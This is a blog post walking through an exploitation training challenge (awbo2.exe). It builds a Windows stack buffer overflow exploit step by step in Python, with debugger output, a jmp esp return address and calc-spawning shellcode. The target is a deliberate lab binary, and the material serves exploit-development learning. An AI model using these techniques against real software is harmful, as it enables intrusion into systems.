Journey into Exploitation: awbo2.exe

In this series of blog posts, I will be documenting my journey into the art of exploitation.  My goal for this series is to experiment with some of the challenges that are out there and hopefully provide some guidance for others in my shoes.  I am targeting those of you with moderate amount experience in exploitation.  Hopefully, I will further my own knowledge and yours (the reader).

What you’ll need:

  1. Immunity Debugger
  2. Pvefindaddr plugin
  3. Windows 2000 SP4 Virtual Machine


In this first post we’re going to look at awbo2.exe.  The Advanced Windows Buffer Overflows were written by Lurene Grenier, formerly of Sourcefire’s VRT.

To quote:

At Defcon XIV, Immunity trotted out the first iteration of their NOP cert test, and I had the pleasure of giving it a test run. I still think it’s a great indicator of ability, despite the Immunity tools focus; I’m not a user of any of their tools generally, but I managed to pull off the hardest level test in a modest time. It got us thinking on the way home, where does one go from the bar set by the NOP to get to the next level in terms of exploit development skill? In this vein I’ve thrown together a few windows executables, and in a nod to Gera of Core, they’re called Advanced Windows Buffer Overflows (AWBOs).

To follow along, you can download the binary, as well as the other challenges, from the following URL:

Before we get started, there are a few rules we need to follow:

  1. All exploits are performed in Windows 2000 SP4 unless otherwise specified. Sometimes, otherwise will be specified.
  2. Exploits will use the provided shellcode, or ret2lib.
  3. You may not return to hard coded stack addresses.
  4. No source code will be provided – just like the NOP cert (one of the most hardcore exploit certs IMO).


You can find the shellcode below:

[plain]# windows/exec – 121 bytes
# # EXITFUNC=seh, CMD=calc.exe
“\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01” .
“\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01” .
“\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2” .
“\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66” .
“\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89” .
“\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b” .
“\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a” .
“\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7” .

Before any engagement like this, the first step is to study the target. As per rule #1, we will be working on Windows 2000 SP4. Run the binary and examine what happens:

The first thing you should notice is that there is an INT3 instruction right at the beginning of the application followed by:

[plain]0040100C   CC                   INT3
0040100D   8D85 FCFBFFFF        LEA EAX,DWORD PTR SS:[EBP-404]
00401013   8945 FC              MOV DWORD PTR SS:[EBP-4],EAX]
00401016   8D8D FCFBFFFF        LEA ECX,DWORD PTR SS:[EBP-404][/plain]

These three instructions are setting up the stack to take in 1028 bytes of input. Go ahead and hit play a couple times to start the application, then send it some junk data.

It looks like we have enough information to go ahead and exploit the application. Lets start things off by writing a simple template (in python) to crash the application. Use Metasploits pattern_create to create a pattern of 1036 bytes in size, this will be for our junk data:

junk = (“metasploit pattern here”)

print junk

print “\n[-] Something went wrong…\n”[/plain]

After you’ve saved your exploit. Pipe the data over to awbo2.exe:

So far so good, we’ve crashed the application. But, we didn’t overwrite EIP. Currently, EAX and ECX contain our junk data and we have an access violation at 0x69423169. This access violation is because this isn’t a real address in memory. Instead it is part of our pattern. Using pattern_offset we can find out exactly where to put a real address:

Now restart the application and continue to step through until the call to kernel32 is made. The reason for this is because we need a real address to pass over the first access violation and hopefully lead to the overwrite of EIP. Grab any address here and edit our python script.

junk = “\x41” * 1024

addr = “\xda\x48\xe8\x77” # addr from kernel32

junk2 = “\x42” * 1000

print junk + addr

print “\n[-] Something went wrong…\n”[/plain]

Now rerun the python script:

Great! Now that we own EIP, things should be downhill from here. ESP currently points to our junk2 data (“\x42”) and if you look a little closer at the stack. We own nSEH and SEH as well:

Now, we can do one of two things. We can exploit this via an SEH overwrite, or we can keep things simple and just place our shellcode at ESP and jump too it. For now, we’re going to place our shellcode at ESP and jump too it. Open a new instance of Immunity Debugger and search for our jmp esp instruction (make sure to open awbo2.exe and play it before you search):

Now edit our python script with one of the addresses in the j.txt file:

junk = “\x41” * 1024

addr = “\xda\x48\xe8\x77” # addr from kernel32

junk2 = “\x42” * 4

EIP = “\x8b\x94\xf8\x77” # jmp esp => ntdll.dll

shellcode = “\xcc” * 1000

print junk + addr + junk2 + EIP + shellcode

print “\n[-] Something went wrong…\n”[/plain]

Run the script, but this time before you step over the break at the beginning. Set a breakpoint at our jmp esp instruction at 0x77f8948b, then hit play:

When you step over this instruction, you should land in our sled of int3 instructions:

Almost there! Edit our script to take our shellcode from before.

junk = “\x41” * 1024

addr = “\xda\x48\xe8\x77” # addr from kernel32

junk2 = “\x42” * 4

EIP = “\x8b\x94\xf8\x77” # jmp esp => ntdll.dll

# windows/exec – 121 bytes
# EXITFUNC=seh, CMD=calc.exe
shellcode = (“\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01”

print junk + addr + junk2 + EIP + shellcode

print “\n[-] Something went wrong…\n”[/plain]

Run the script, if everything was successful, calc.exe should spawn!

Success! We’ll save SEH for another walkthrough for now.

Coming next is awbo3.exe

Shouts to:
Corelan Team for making some awesome tutorials
Pusscat for making some pretty fun challenges
MC for always answering my questions
J0e for everything he’s done for me

For further reading:
Corelan Basic Overflow Ch 1
Corelan Basic Overflow Ch 2

One thought on “Journey into Exploitation: awbo2.exe

Leave a Reply

Your email address will not be published. Required fields are marked *